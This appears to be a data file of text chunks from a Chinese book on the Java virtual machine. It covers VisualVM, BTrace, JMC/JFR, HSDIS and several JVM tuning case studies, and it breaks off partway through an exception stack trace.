    {"text": "2.生成、浏览堆转储快照 在VisualVM中生成堆转储快照文件有两种方式，可以执行下列任一操作： ·在“应用程序”窗口中右键单击应用程序节点，然后选择“堆Dump”。"},
    {"text": "生成堆转储快照文件之后，应用程序页签会在该堆的应用程序下增加一个以[heap-dump]开头的子节点，并且在主页签中打开该转储快照，如图4-20所示。 如果需要把堆转储快照保存或发送出去，就应在heapdump节点上右键选择“另存为”菜单，否则当VisualVM关闭时，生成的堆转储快照文件会被当作临时文件自动清理掉。 要打开一个由已经存在的堆转储快照文件，通过文件菜单中的“装入”功能，选择硬盘上的文件即可。"},
    {"text": "“实例”面板不能直接使用，因为VisualVM在此时还无法确定用户想查看哪个类的实例，所以需要通过“类”面板进入，在“类”中选择一个需要查看的类，然后双击即可在“实例”里面看到此类的其中500个实例的具体属性信息；"},
    {"text": "做Profiling分析肯定会对程序运行性能有比较大的影响，所以一般不在生产环境使用这项功能，或者改用JMC来完成，JMC的Profiling能力更强，对应用的影响非常轻微。"},
    {"text": "要开始性能分析，先选择“CPU”和“内存”按钮中的一个，然后切换到应用程序中对程序进行操作，VisualVM会记录这段时间中应用程序执行过的所有方法。"},
    {"text": "如果是进行处理器执行时间分析，将会统计每个方法的执行次数、执行耗时； 如果是内存分析，则会统计每个方法关联的对象数以及这些对象所占的空间。"},
    {"text": "图4-21 对应用程序进行CPU执行时间分析 注意 在JDK 5之后，在客户端模式下的虚拟机加入并且自动开启了类共享——这是一个在多虚拟机进程共享rt.jar中类数据以提高加载速度和节省内存的优化，而根据相关Bug报告的反映，VisualVM的Profiler功能会因为类共享而导致被监视的应用程序崩溃，所以读者进行Profiling前，最好在被监视程序中使用-Xshare：off参数来关闭类共享优化。"},
    {"text": "图4-21中是对Eclipse IDE一段操作的录制和分析结果，读者分析自己的应用程序时，可根据实际业务复杂程度与方法的时间、调用次数做比较，找到最优化价值方法。"},
    {"text": "这项功能对实际生产中的程序很有意义：如当程序出现问题时，排查错误的一些必要信息时（譬如方法参数、返回值等），在开发时并没有打印到日志之中以至于不得不停掉服务时，都可以通过调试增量来加入日志代码以解决问题。"},
    {"text": "图4-22 BTrace动态跟踪 笔者准备了一段简单的Java代码来演示BTrace的功能：产生两个1000以内的随机整数，输出这两个数字相加的结果，如代码清单4-10所示。 代码清单4-10 BTrace跟踪演示 public class BTraceTest { public int add(int a, int b) { return a + b; } public static void main(String[] args) throws IOException { BTraceTest test = new BTraceTest(); BufferedReader reader = new BufferedReader(new InputStreamReader(System.in)); for (int i = 0; i < 10; i++) { reader.readLine(); int a = (int) Math.round(Math.random() * 1000); int b = (int) Math.round(Math.random() * 1000); System.out.println(test.add(a, b)); } } } 假设这段程序已经上线运行，而我们现在又有了新的需求，想要知道程序中生成的两个随机数是什么，但程序并没有在执行过程中输出这一点。"},
    {"text": "此时，在VisualVM中打开该程序的监视，在BTrace页签填充TracingScript的内容，输入调试代码，如代码清单4-11所示，即可在不中断程序运行的情况下做到这一点。 代码清单4-11 BTrace调试代码 /* BTrace Script Template */ import com.sun.btrace.annotations.*; import static com.sun.btrace.BTraceUtils.*; @BTrace public class TracingScript { @OnMethod( clazz=\"org.fenixsoft.monitoring.BTraceTest\", method=\"add\", location=@Location(Kind.RETURN) ) public static void func(@Self org.fenixsoft.monitoring.BTraceTest instance,int a, int b,@Return int result) { println(\"调用堆栈:\"); jstack(); println(strcat(\"方法参数A:\",str(a))); println(strcat(\"方法参数B:\",str(b))); println(strcat(\"方法结果:\",str(result))); } } 点击Start按钮后稍等片刻，编译完成后，Output面板中会出现“BTrace code successfuly deployed”的字样。"},
    {"text": "图4-23 BTrace跟踪结果 BTrace的用途很广泛，打印调用堆栈、参数、返回值只是它最基础的使用形式，在它的网站上有使用BTrace进行性能监视、定位连接泄漏、内存泄漏、解决多线程竞争问题等的使用案例，有兴趣的读者可以去网上了解相关信息。"},
    {"text": "Instrument是Java虚拟机工具接口（Java Virtual Machine Tool Interface，JVMTI）的重要组件，提供了一套代理（Agent）机制，使得第三方工具程序可以以代理的方式访问和修改Java虚拟机内部的数据。"},
    {"text": "4.3.4 Java Mission Control：可持续在线的监控工具 除了大家熟知的面向通用计算（General Purpose Computing）可免费使用的Java SE外，Oracle公司还开辟过带商业技术支持的Oracle Java SE Support和面向独立软件供应商（ISV）的Oracle Java SE Advanced & Suite产品线。 除去带有7×24小时的技术支持以及可以为企业专门定制安装包这些非技术类的增强服务外，Oracle Java SE Advanced & Suite [1] 与普通Oracle Java SE在功能上的主要差别是前者包含了一系列的监控、管理工具，譬如用于企业JRE定制管理的AMC（Java Advanced Management Console）控制台、JUT（Java Usage Tracker）跟踪系统，用于持续收集数据的JFR（Java Flight Recorder）飞行记录仪和用于监控Java虚拟机的JMC（Java Mission Control）。这些功能全部都是需要商业授权才能在生产环境中使用，但根据Oracle Binary Code协议，在个人开发环境中，允许免费使用JMC和JFR，本节笔者将简要介绍它们的原理和使用。 JFR是一套内建在HotSpot虚拟机里面的监控和基于事件的信息搜集框架，与其他的监控工具（如JProfiling）相比，Oracle特别强调它“可持续在线”（Always-On）的特性。JFR在生产环境中对吞吐量的影响一般不会高于1%（甚至号称是Zero Performance Overhead），而且JFR监控过程的开始、停止都是完全可动态的，即不需要重启应用。JFR的监控对应用也是完全透明的，即不需要对应用程序的源码做任何修改，或者基于特定的代理来运行。 JMC最初是BEA公司的产品，因此并没有像VisualVM那样一开始就基于自家的Net-Beans平台来开发，而是选择了由IBM捐赠的Eclipse RCP作为基础框架，现在的JMC不仅可以下载到独立程序，更常见的是作为Eclipse的插件来使用。JMC与虚拟机之间同样采取JMX协议进行通信，JMC一方面作为JMX控制台，显示来自虚拟机MBean提供的数据；另一方面作为JFR的分析工具，展示来自JFR的数据。启动后JMC的主界面如图4-24所示。 图4-24 JMC主界面 在左侧的“JVM浏览器”面板中自动显示了通过JDP协议（Java Discovery Protocol）找到的本机正在运行的HotSpot虚拟机进程，如果需要监控其他服务器上的虚拟机，可在“文件->连接”菜单中创建远程连接，如图4-25所示。 图4-25 JMC建立连接界面 这里要填写的信息应该在被监控虚拟机进程启动的时候以虚拟机参数的形式指定，以下是一份被监控端的启动参数样例： -Dcom.sun.management.jmxremote.port=9999 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false -Djava.rmi.server.hostname=192.168.31.4 -XX:+UnlockCommercialFeatures -XX:+FlightRecorder 本地虚拟机与远程虚拟机进程的差别只限于创建连接这个步骤，连接成功创建以后的操作就是完全一样的了。把“JVM浏览器”面板中的进程展开后，可以看到每个进程的数据都有MBean和JFR两个数据来源。关于MBean这部分数据，与JConsole和VisualVM上取到的内容是一样的，只是展示形式上有些差别，笔者就不再重复了，后面着重介绍JFR的数据记录。 双击“飞行记录器”，将会出现“启动飞行记录”窗口（如果第一次使用，还会收到解锁商业功能的警告窗），如图4-26所示。 图4-26 启用飞行记录 在启动飞行记录时，可以进行记录时间、垃圾收集器、编译器、方法采样、线程记录、异常记录、网络和文件I/O、事件记录等选项和频率设定，这部分比较琐碎，笔者就不一一截图讲解了。点击“完成”按钮后马上就会开始记录，记录时间结束以后会生成飞行记录报告，如图4-27所示。 飞行记录报告里包含以下几类信息： ·一般信息：关于虚拟机、操作系统和记录的一般信息。 ·内存：关于内存管理和垃圾收集的信息。 ·代码：关于方法、异常错误、编译和类加载的信息。 ·线程：关于应用程序中线程和锁的信息。 ·I/O：关于文件和套接字输入、输出的信息。 ·系统：关于正在运行Java虚拟机的系统、进程和环境变量的信息。 ·事件：关于记录中的事件类型的信息，可以根据线程或堆栈跟踪，按照日志或图形的格式查看。 JFR的基本工作逻辑是开启一系列事件的录制动作，当某个事件发生时，这个事件的所有上下文数据将会以循环日志的形式被保存至内存或者指定的某个文件当中，循环日志相当于数据流被保留在一个环形缓存中，所以只有最近发生的事件的数据才是可用的。JMC从虚拟机内存或者文件中读取并展示这些事件数据，并通过这些数据进行性能分析。 图4-27 飞行记录报告 即使不考虑对被测试程序性能影响方面的优势，JFR提供的数据质量通常也要比其他工具通过代理形式采样获得或者从MBean中取得的数据高得多。以垃圾搜集为例，HotSpot的MBean中一般有各个分代大小、收集次数、时间、占用率等数据（根据收集器不同有所差别），这些都属于“结果”类的信息，而JFR中还可以看到内存中这段时间分配了哪些对象、哪些在TLAB中（或外部）分配、分配速率和压力大小如何、分配归属的线程、收集时对象分代晋升的情况等，这些就是属于“过程”类的信息，对排查问题的价值是难以估量的。 [1] Advanced是“Advanced Monitoring & Management of Java in the Enterprise”的缩写。"},
    {"text": "4.4 HotSpot虚拟机插件及工具 HotSpot虚拟机发展了二十余年，现在已经是一套很复杂的软件系统，如果深入挖掘HotSpot的源码，可以发现在HotSpot的研发过程中，开发团队曾经编写（或者收集）过不少虚拟机的插件和辅助工具，它们存放在HotSpot源码hotspot/src/share/tools目录下，包括（含曾经有过但新版本中已被移除的）： ·Ideal Graph Visualizer：用于可视化展示C2即时编译器是如何将字节码转化为理想图，然后转化为机器码的。"},
    {"text": "关于Client Compiler Visualizer和Ideal Graph Visualizer，在本书第11章会有专门的使用介绍，而Project Creator、LogCompilation、MakeDeps这三个工具对本书的讲解和实验帮助有限，最后一个HSDIS是学习、实践本书第四部分“程序编译与代码优化”的有力辅助工具，借本章讲解虚拟机工具的机会，简要介绍其使用方法。"},
    {"text": "HSDIS：JIT生成代码反汇编 在《Java虚拟机规范》里详细定义了虚拟机指令集中每条指令的语义，尤其是执行过程前后对操作数栈、局部变量表的影响。"},
    {"text": "这些细节描述与早期Java虚拟机（Sun Classic虚拟机）高度吻合，但随着技术的发展，高性能虚拟机真正的细节实现方式已经渐渐与《Java虚拟机规范》所描述的内容产生越来越大的偏差，《Java虚拟机规范》中的规定逐渐成为Java虚拟机实现的“概念模型”，即实现只保证与规范描述等效，而不一定是按照规范描述去执行。"},
    {"text": "由于这个原因，我们在讨论程序的执行语义问题（虚拟机做了什么）时，在字节码层面上分析完全可行，但讨论程序的执行行为问题（虚拟机是怎样做的、性能如何）时，在字节码层面上分析就没有什么意义了，必须通过其他途径解决。"},
    {"text": "至于分析程序如何执行，使用软件调试工具（GDB、Windbg等）来进行断点调试是一种常见的方式，但是这样的调试方式在Java虚拟机中也遇到了很大麻烦，因为大量执行代码是通过即时编译器动态生成到代码缓存中的，并没有特别简单的手段来处理这种混合模式的调试，不得不通过一些曲线的间接方法来解决问题。"},
    {"text": "HSDIS是一个被官方推荐的HotSpot虚拟机即时编译代码的反汇编插件，它包含在HotSpot虚拟机的源码当中 [2] ，在OpenJDK的网站 [3] 也可以找到单独的源码下载，但并没有提供编译后的程序。 HSDIS插件的作用是让HotSpot的-XX：+PrintAssembly指令调用它来把即时编译器动态生成的本地代码还原为汇编代码输出，同时还会自动产生大量非常有价值的注释，这样我们就可以通过输出的汇编代码来从最本质的角度分析问题。"},
    {"text": "读者可以根据自己的操作系统和处理器型号，从网上直接搜索、下载编译好的插件，直接放到JDK_HOME/jre/bin/server目录（JDK 9以下）或JDK_HOME/lib/amd64/server（JDK 9或以上）中即可使用。 如果读者确实没有找到所采用操作系统的对应编译成品 [4] ，那就自己用源码编译一遍（网上能找到各种操作系统下的编译教程）。 另外还有一点需要注意，如果读者使用的是SlowDebug或者FastDebug版的HotSpot，那可以直接通过-XX：+PrintAssembly指令使用的插件； 如果读者使用的是Product版的HotSpot，则还要额外加入一个-XX：+UnlockDiagnosticVMOptions参数才可以工作。"},
    {"text": "代码清单4-12 测试代码 public class Bar { int a = 1; static int b = 2; public int sum(int c) { return a + b + c; } public static void main(String[] args) { new Bar().sum(3); } } 编译这段代码，并使用以下命令执行： java -XX:+PrintAssembly -Xcomp -XX:CompileCommand=dontinline,*Bar.sum -XX:Compile-Command=compileonly,*Bar.sum test.Bar 其中，参数-Xcomp是让虚拟机以编译模式执行代码，这样不需要执行足够次数来预热就能触发即时编译。"},
    {"text": "代码清单4-13 测试代码 [Disassembling for mach='i386'] [Entry Point] [Constants] # {method} 'sum' '(I)I' in 'test/Bar' # this: ecx = 'test/Bar' # parm0: edx = int # [sp+0x20] (sp of caller) …… 0x01cac407: cmp 0x4(%ecx),%eax 0x01cac40a: jne 0x01c6b050 ; {runtime_call} [Verified Entry Point] 0x01cac410: mov %eax,-0x8000(%esp) 0x01cac417: push %ebp 0x01cac418: sub $0x18,%esp ; *aload_0 ; - test.Bar::sum@0 (line 8) ;; block B0 [0, 10] 0x01cac41b: mov 0x8(%ecx),%eax ; *getfield a ; - test.Bar::sum@1 (line 8) 0x01cac41e: mov $0x3d2fad8,%esi ; {oop(a 'java/lang/Class' = 'test/Bar')} 0x01cac423: mov 0x68(%esi),%esi ; *getstatic b ; - test.Bar::sum@4 (line 8) 0x01cac426: add %esi,%eax 0x01cac428: add %edx,%eax 0x01cac42a: add $0x18,%esp 0x01cac42d: pop %ebp 0x01cac42e: test %eax,0x2b0100 ; {poll_return} 0x01cac434: ret 虽然是汇编，但代码并不多，我们一句一句来阅读： 1）mov%eax，-0x8000(%esp)：检查栈溢。"},
    {"text": "4）mov 0x8(%ecx)，%eax：取实例变量a，这里0x8(%ecx)就是ecx+0x8的意思，前面代码片段“[Constants]”中提示了“this：ecx='test/Bar'”，即ecx寄存器中放的就是this对象的地址。"},
    {"text": "5）mov$0x3d2fad8，%esi：取test.Bar在方法区的指针。 6）mov 0x68(%esi)，%esi：取类变量b，这次是访问方法区中的数据。 7）add%esi，%eax、add%edx，%eax：做2次加法，求a+b+c的值，前面的代码把a放在eax中，把b放在esi中，而c在[Constants]中提示了，“parm0：edx=int”，说明c在edx中。"},
    {"text": "在这个例子中测试代码比较简单，肉眼直接看日志中的汇编输出是可行的，但在正式环境中-XX：+PrintAssembly的日志输出量巨大，且难以和代码对应起来，这就必须使用工具来辅助了。"},
    {"text": "JITWatch [5] 是HSDIS经常搭配使用的可视化的编译日志分析工具，为便于在JITWatch中读取，读者可使用以下参数把日志输出到logfile文件： -XX:+UnlockDiagnosticVMOptions -XX:+TraceClassLoading -XX:+LogCompilation -XX:LogFile=/tmp/logfile.log -XX:+PrintAssembly -XX:+TraceClassLoading 在JITWatch中加载日志后，就可以看到执行期间使用过的各种对象类型和对应调用过的方法了，界面如图4-28所示。"},
    {"text": "图4-29 查看方法代码 [1] 不同于Ideal Graph Visualizer，Client Compiler Visualizer的源码其实从未进入过HotSpot的代码仓库，不过为了C1、C2配对，还是把它列在这里。"},
    {"text": "[2] OpenJDK中的源码位置：hotspot/src/share/tools/hsdis/。 [3] 地址：http://hg.openjdk.java.net/jdk7u/jdk7u/hotspot/file/tip/src/share/tools/hsdis/。 也可以在GitHub上搜索HSDIS得到。 [4] HLLVM圈子中有已编译好的，地址：http://hllvm.group.iteye.com/。 [5] 下载地址：https://github.com/AdoptOpenJDK/jitwatch。"},
    {"text": "4.5 本章小结 本章介绍了随JDK发布的6个命令行工具与4个可视化的故障处理工具，灵活使用这些工具，可以为处理问题带来很大的便利。除了本章涉及的OpenJDK中自带的工具之外，还有很多其他监控和故障处理工具，如何进行监控和故障诊断，这并不是《Java虚拟机规范》中定义的内容，而是取决于虚拟机实现自身的设计，因此每种处理工具都有针对的目标范围，如果读者使用的是非HotSpot系的虚拟机，就更需要使用对应的工具进行分析，如： ·IBM的Support Assistant [1] 、Heap Analyzer [2] 、Javacore Analyzer [3] 、Garbage Collector Analyzer [4] 适用于IBM J9/OpenJ9 VM。 ·HP的HPjmeter、HPjtune适用于HP-UX、SAP、HotSpot VM。 ·Eclipse的Memory Analyzer Tool [5] （MAT）适用于HP-UX、SAP、HotSpot VM，安装IBM DTFJ [6] 插件后可支持IBM J9虚拟机。 [1] http://www-01.ibm.com/software/support/isa/。 [2] http://www.alphaworks.ibm.com/tech/heapanalyzer/download。 [3] http://www.alphaworks.ibm.com/tech/jca/download。 [4] http://www.alphaworks.ibm.com/tech/pmat/download。 [5] http://www.eclipse.org/mat/。 [6] http://www.ibm.com/developerworks/java/jdk/tools/dtfj.html。 第5章 调优案例分析与实战 Java与C++之间有一堵由内存动态分配和垃圾收集技术所围成的高墙，墙外面的人想进去，墙里面的人却想出来。 5.1 概述 在前面3章笔者系统性地介绍了处理Java虚拟机内存问题的知识与工具，在处理应用中的实际问题时，除了知识与工具外，经验同样是一个很重要的因素。在本章，将会与读者分享若干较有代表性的实际案例。 考虑到虚拟机的故障处理与调优主要面向各类服务端应用，而大多数Java程序员较少有机会直接接触生产环境的服务器，因此本章还准备了一个所有开发人员都能够进行“亲身实战”的练习，希望大家通过实践能获得故障处理、调优的经验。 5.2 案例分析 本章中的案例一部分来源于笔者处理过的实际问题，还有另一部分来源于网上有特色和代表性的案例总结。出于对客户商业信息保护的原因，在不影响前后逻辑的前提下，笔者对实际环境和用户业务做了一些屏蔽和精简。 本章内容将着重考虑如何在应用部署层面去解决问题，有不少案例中的问题的确可以在设计和开发阶段就先行避免，但这并不是本书要讨论的话题。也有一些问题可以直接通过升级硬件或者使用最新JDK版本里的新技术去解决，但我们同时也会探讨如何在不改变已有软硬件版本和规格的前提下，调整部署和配置策略去解决或者缓解问题。"},
    {"text": "一个15万PV/日左右的在线文档类型网站最近更换了硬件系统，服务器的硬件为四路志强处理器、16GB物理内存，操作系统为64位CentOS 5.4，Resin作为Web服务器。"},
    {"text": "监控服务器运行状况后发现网站失去响应是由垃圾收集停顿所导致的，在该系统软硬件条件下，HotSpot虚拟机是以服务端模式运行，默认使用的是吞吐量优先收集器，回收12GB的Java堆，一次Full GC的停顿时间就高达14秒。"},
    {"text": "由于程序设计的原因，访问文档时会把文档从磁盘提取到内存中，导致内存中出现很多由文档序列化产生的大对象，这些大对象大多在分配时就直接进入了老年代，没有在Minor GC中被清理掉。"},
    {"text": "这种情况下即使有12GB的堆，内存也很快会被消耗殆尽，由此导致每隔几分钟出现十几秒的停顿，令网站开发、管理员都对使用Java技术开发网站感到很失望。"},
    {"text": "分析此案例的情况，程序代码问题这里不延伸讨论，程序部署上的主要问题显然是过大的堆内存进行回收时带来的长时间的停顿。 经调查，更早之前的硬件使用的是32位操作系统，给HotSpot虚拟机只分配了1.5GB的堆内存，当时用户确实感觉到使用网站比较缓慢，但还不至于发生长达十几秒的明显停顿，后来将硬件升级到64位系统、16GB内存希望能提升程序效能，却反而出现了停顿问题，尝试过将Java堆分配的内存重新缩小到1.5GB或者2GB，这样的确可以避免长时间停顿，但是在硬件上的投资就显得非常浪费。"},
    {"text": "每一款Java虚拟机中的每一款垃圾收集器都有自己的应用目标与最适合的应用场景，如果在特定场景中选择了不恰当的配置和部署方式，自然会事倍功半。"},
    {"text": "对于用户交互性强、对停顿时间敏感、内存又较大的系统，并不是一定要使用Shenandoah、ZGC这些明确以控制延迟为目标的垃圾收集器才能解决问题（当然不可否认，如果情况允许的话，这是最值得考虑的方案），使用Parallel Scavenge/Old收集器，并且给Java虚拟机分配较大的堆内存也是有很多运行得很成功的案例的，但前提是必须把应用的Full GC频率控制得足够低，至少要低到不会在用户使用过程中发生，譬如十几个小时乃至一整天都不出现一次Full GC，这样可以通过在深夜执行定时任务的方式触发Full GC甚至是自动重启应用服务器来保持内存可用空间在一个稳定的水平。"},
    {"text": "控制Full GC频率的关键是老年代的相对稳定，这主要取决于应用中绝大多数对象能否符合“朝生夕灭”的原则，即大多数对象的生存时间不应当太长，尤其是不能有成批量的、长生存时间的大对象产生，这样才能保障老年代空间的稳定。"},
    {"text": "除此之外，如果读者计划使用单个Java虚拟机实例来管理大内存，还需要考虑下面可能面临的问题： ·回收大块堆内存而导致的长时间停顿，自从G1收集器的出现，增量回收得到比较好的应用 [1] ，这个问题有所缓解，但要到ZGC和Shenandoah收集器成熟之后才得到相对彻底地解决。"},
    {"text": "·大内存必须有64位Java虚拟机的支持，但由于压缩指针、处理器缓存行容量（Cache Line）等因素，64位虚拟机的性能测试结果普遍略低于相同版本的32位虚拟机。"},
    {"text": "·必须保证应用程序足够稳定，因为这种大型单体应用要是发生了堆内存溢出，几乎无法产生堆转储快照（要产生十几GB乃至更大的快照文件），哪怕成功生成了快照也难以进行分析；"},
    {"text": "·相同的程序在64位虚拟机中消耗的内存一般比32位虚拟机要大，这是由于指针膨胀，以及数据类型对齐补白等因素导致的，可以开启（默认即开启）压缩指针功能来缓解。"},
    {"text": "做法是在一台物理机器上启动多个应用服务器进程，为每个服务器进程分配不同端口，然后在前端搭建一个负载均衡器，以反向代理的方式来分配访问请求。"},
    {"text": "这里无须太在意均衡器转发所消耗的性能，即使是使用第一个部署方案，多数应用也不止有一台服务器，因此应用中前端的负载均衡器总是免不了的。"},
    {"text": "考虑到我们在一台物理机器上建立逻辑集群的目的仅仅是尽可能利用硬件资源，并不是要按职责、按领域做应用拆分，也不需要考虑状态保留、热转移之类的高可用性需求，不需要保证每个虚拟机进程有绝对准确的均衡负载，因此使用无Session复制的亲合式集群是一个相当合适的选择。 仅仅需要保障集群具备亲合性，也就是均衡器按一定的规则算法（譬如根据Session ID分配）将一个固定的用户请求永远分配到一个固定的集群节点进行处理即可，这样程序开发阶段就几乎不必为集群环境做任何特别的考虑。"},
    {"text": "当然，第二种部署方案也不是没有缺点的，如果读者计划使用逻辑集群的方式来部署程序，可能会遇到下面这些问题： ·节点竞争全局的资源，最典型的就是磁盘竞争，各个节点如果同时访问某个磁盘文件的话（尤其是并发写操作容易出现问题），很容易导致I/O异常。"},
    {"text": "·很难最高效率地利用某些资源池，譬如连接池，一般都是在各个节点建立自己独立的连接池，这样有可能导致一些节点的连接池已经满了，而另外一些节点仍有较多空余。"},
    {"text": "·如果使用32位Java虚拟机作为集群节点的话，各个节点仍然不可避免地受到32位的内存限制，在32位Windows平台中每个进程只能使用2GB的内存，考虑到堆以外的内存开销，堆最多一般只能开到1.5GB。 在某些Linux或UNIX系统（如Solaris）中，可以提升到3GB乃至接近4GB的内存，但32位中仍然受最高4GB（2的32次幂）内存的限制。"},
    {"text": "·大量使用本地缓存（如大量使用HashMap作为K/V缓存）的应用，在逻辑集群中会造成较大的内存浪费，因为每个逻辑节点上都有一份缓存，这时候可以考虑把本地缓存改为集中式缓存。"},
    {"text": "介绍完这两种部署方式，重新回到这个案例之中，最后的部署方案并没有选择升级JDK版本，而是调整为建立5个32位JDK的逻辑集群，每个进程按2GB内存计算（其中堆固定为1.5GB），占用了10GB内存。"},
    {"text": "5.2.2 集群间同步导致的内存溢出 一个基于B/S的MIS系统，硬件为两台双路处理器、8GB内存的HP小型机，应用中间件是WebLogic 9.2，每台机器启动了3个WebLogic实例，构成一个6个节点的亲合式集群。由于是亲合式集群，节点之间没有进行Session同步，但是有一些需求要实现部分数据在各个节点间共享。最开始这些数据是存放在数据库中的，但由于读写频繁、竞争很激烈，性能影响较大，后面使用JBossCache构建了一个全局缓存。全局缓存启用后，服务正常使用了一段较长的时间。但在最近不定期出现多次的内存溢出问题。 在内存溢出异常不出现的时候，服务内存回收状况一直正常，每次内存回收后都能恢复到一个稳定的可用空间。开始怀疑是程序某些不常用的代码路径中存在内存泄漏，但管理员反映最近程序并未更新、升级过，也没有进行什么特别操作。只好让服务带着-XX：+HeapDumpOnOutOfMemoryError参数运行了一段时间。在最近一次溢出之后，管理员发回了堆转储快照，发现里面存在着大量的org.jgroups.protocols.pbcast.NAKACK对象。 JBossCache是基于自家的JGroups进行集群间的数据通信，JGroups使用协议栈的方式来实现收发数据包的各种所需特性自由组合，数据包接收和发送时要经过每层协议栈的up()和down()方法，其中的NAKACK栈用于保障各个包的有效顺序以及重发。 图5-1 JBossCache协议栈 由于信息有传输失败需要重发的可能性，在确认所有注册在GMS（Group Membership Service）的节点都收到正确的信息前，发送的信息必须在内存中保留。而此MIS的服务端中有一个负责安全校验的全局过滤器，每当接收到请求时，均会更新一次最后操作时间，并且将这个时间同步到所有的节点中去，使得一个用户在一段时间内不能在多台机器上重复登录。在服务使用过程中，往往一个页面会产生数次乃至数十次的请求，因此这个过滤器导致集群各个节点之间网络交互非常频繁。当网络情况不能满足传输要求时，重发数据在内存中不断堆积，很快就产生了内存溢出。 这个案例中的问题，既有JBossCache的缺陷，也有MIS系统实现方式上的缺陷。JBoss-Cache官方的邮件讨论组中讨论过很多次类似的内存溢出异常问题，据说后续版本也有了改进。而更重要的缺陷是，这一类被集群共享的数据要使用类似JBossCache这种非集中式的集群缓存来同步的话，可以允许读操作频繁，因为数据在本地内存有一份副本，读取的动作不会耗费多少资源，但不应当有过于频繁的写操作，会带来很大的网络同步的开销。"},
    {"text": "5.2.3 堆外内存导致的溢出错误 这是一个学校的小型项目：基于B/S的电子考试系统，为了实现客户端能实时地从服务器端接收考试数据，系统使用了逆向AJAX技术（也称为Comet或者Server Side Push），选用CometD 1.1.1作为服务端推送框架，服务器是Jetty 7.1.4，硬件为一台很普通PC机，Core i5 CPU，4GB内存，运行32位Windows操作系统。 测试期间发现服务端不定时抛出内存溢出异常，服务不一定每次都出现异常，但假如正式考试时崩溃一次，那估计整场电子考试都会乱套。网站管理员尝试过把堆内存调到最大，32位系统最多到1.6GB基本无法再加大了，而且开大了基本没效果，抛出内存溢出异常好像还更加频繁。加入-XX：+HeapDumpOnOutOfMemoryError参数，居然也没有任何反应，抛出内存溢出异常时什么文件都没有产生。无奈之下只好挂着jstat紧盯屏幕，发现垃圾收集并不频繁，Eden区、Survivor区、老年代以及方法区的内存全部都很稳定，压力并不大，但就是照样不停抛出内存溢出异常。最后，在内存溢出后从系统日志中找到异常堆栈如代码清单5-1所示。 代码清单5-1 异常堆栈 [org.eclipse.jetty.util.log] handle failed java.lang.OutOfMemoryError: null at sun.misc.Unsafe.allocateMemory(Native Method) at java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:99) at java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:288) at org.eclipse.jetty.io.nio.DirectNIOBuffer.<init> …… 如果认真阅读过本书第2章，看到异常堆栈应该就清楚这个抛出内存溢出异常是怎么回事了。我们知道操作系统对每个进程能管理的内存是有限制的，这台服务器使用的32位Windows平台的限制是2GB，其中划了1.6GB给Java堆，而Direct Memory耗用的内存并不算入这1.6GB的堆之内，因此它最大也只能在剩余的0.4GB空间中再分出一部分而已。在此应用中导致溢出的关键是垃圾收集进行时，虚拟机虽然会对直接内存进行回收，但是直接内存却不能像新生代、老年代那样，发现空间不足了就主动通知收集器进行垃圾回收，它只能等待老年代满后Full GC出现后，“顺便”帮它清理掉内存的废弃对象。否则就不得不一直等到抛出内存溢出异常时，先捕获到异常，再在Catch块里面通过System.gc()命令来触发垃圾收集。但如果Java虚拟机再打开了-XX：+DisableExplicitGC开关，禁止了人工触发垃圾收集的话，那就只能眼睁睁看着堆中还有许多空闲内存，自己却不得不抛出内存溢出异常了。而本案例中使用的CometD 1.1.1框架，正好有大量的NIO操作需要使用到直接内存。 从实践经验的角度出发，在处理小内存或者32位的应用问题时，除了Java堆和方法区之外，我们注意到下面这些区域还会占用较多的内存，这里所有的内存总和受到操作系统进程最大内存的限制： ·直接内存：可通过-XX：MaxDirectMemorySize调整大小，内存不足时抛出OutOf-MemoryError或者OutOfMemoryError：Direct buffer memory。 ·线程堆栈：可通过-Xss调整大小，内存不足时抛出StackOverflowError（如果线程请求的栈深度大于虚拟机所允许的深度）或者OutOfMemoryError（如果Java虚拟机栈容量可以动态扩展，当栈扩展时无法申请到足够的内存）。 ·Socket缓存区：每个Socket连接都Receive和Send两个缓存区，分别占大约37KB和25KB内存，连接多的话这块内存占用也比较可观。如果无法分配，可能会抛出IOException：Too many open files异常。 ·JNI代码：如果代码中使用了JNI调用本地库，那本地库使用的内存也不在堆中，而是占用Java虚拟机的本地方法栈和本地内存的。 ·虚拟机和垃圾收集器：虚拟机、垃圾收集器的工作也是要消耗一定数量的内存的。"},
    {"text": "5.2.4 外部命令导致系统缓慢 一个数字校园应用系统，运行在一台四路处理器的Solaris 10操作系统上，中间件为GlassFish服务器。系统在做大并发压力测试的时候，发现请求响应时间比较慢，通过操作系统的mpstat工具发现处理器使用率很高，但是系统中占用绝大多数处理器资源的程序并不是该应用本身。这是个不正常的现象，通常情况下用户应用的处理器占用率应该占主要地位，才能说明系统是在正常工作。 通过Solaris 10的dtrace脚本可以查看当前情况下哪些系统调用花费了最多的处理器资源，dtrace运行后发现最消耗处理器资源的竟然是“fork”系统调用。众所周知，“fork”系统调用是Linux用来产生新进程的，在Java虚拟机中，用户编写的Java代码通常最多只会创建新的线程，不应当有进程的产生，这又是个相当不正常的现象。 通过联系该系统的开发人员，最终找到了答案：每个用户请求的处理都需要执行一个外部Shell脚本来获得系统的一些信息。执行这个Shell脚本是通过Java的Runtime.getRuntime().exec()方法来调用的。这种调用方式可以达到执行Shell脚本的目的，但是它在Java虚拟机中是非常消耗资源的操作，即使外部命令本身能很快执行完毕，频繁调用时创建进程的开销也会非常可观。Java虚拟机执行这个命令的过程是首先复制一个和当前虚拟机拥有一样环境变量的进程，再用这个新的进程去执行外部命令，最后再退出这个进程。如果频繁执行这个操作，系统的消耗必然会很大，而且不仅是处理器消耗，内存负担也很重。 用户根据建议去掉这个Shell脚本执行的语句，改为使用Java的API去获取这些信息后，系统很快恢复了正常。 5.2.5 服务器虚拟机进程崩溃 一个基于B/S的MIS系统，硬件为两台双路处理器、8GB内存的HP系统，服务器是WebLogic 9.2（与第二个案例中那套是同一个系统）。正常运行一段时间后，最近发现在运行期间频繁出现集群节点的虚拟机进程自动关闭的现象，留下了一个hs_err_pid###.log文件后，虚拟机进程就消失了，两台物理机器里的每个节点都出现过进程崩溃的现象。从系统日志中注意到，每个节点的虚拟机进程在崩溃之前，都发生过大量相同的异常，见代码清单5-2。 代码清单5-2 异常堆栈2 java.net.SocketException: Connection reset at java.net.SocketInputStream.read(SocketInputStream.java:168) at java.io.BufferedInputStream.fill(BufferedInputStream.java:218) at java.io.BufferedInputStream.read(BufferedInputStream.java:235) at 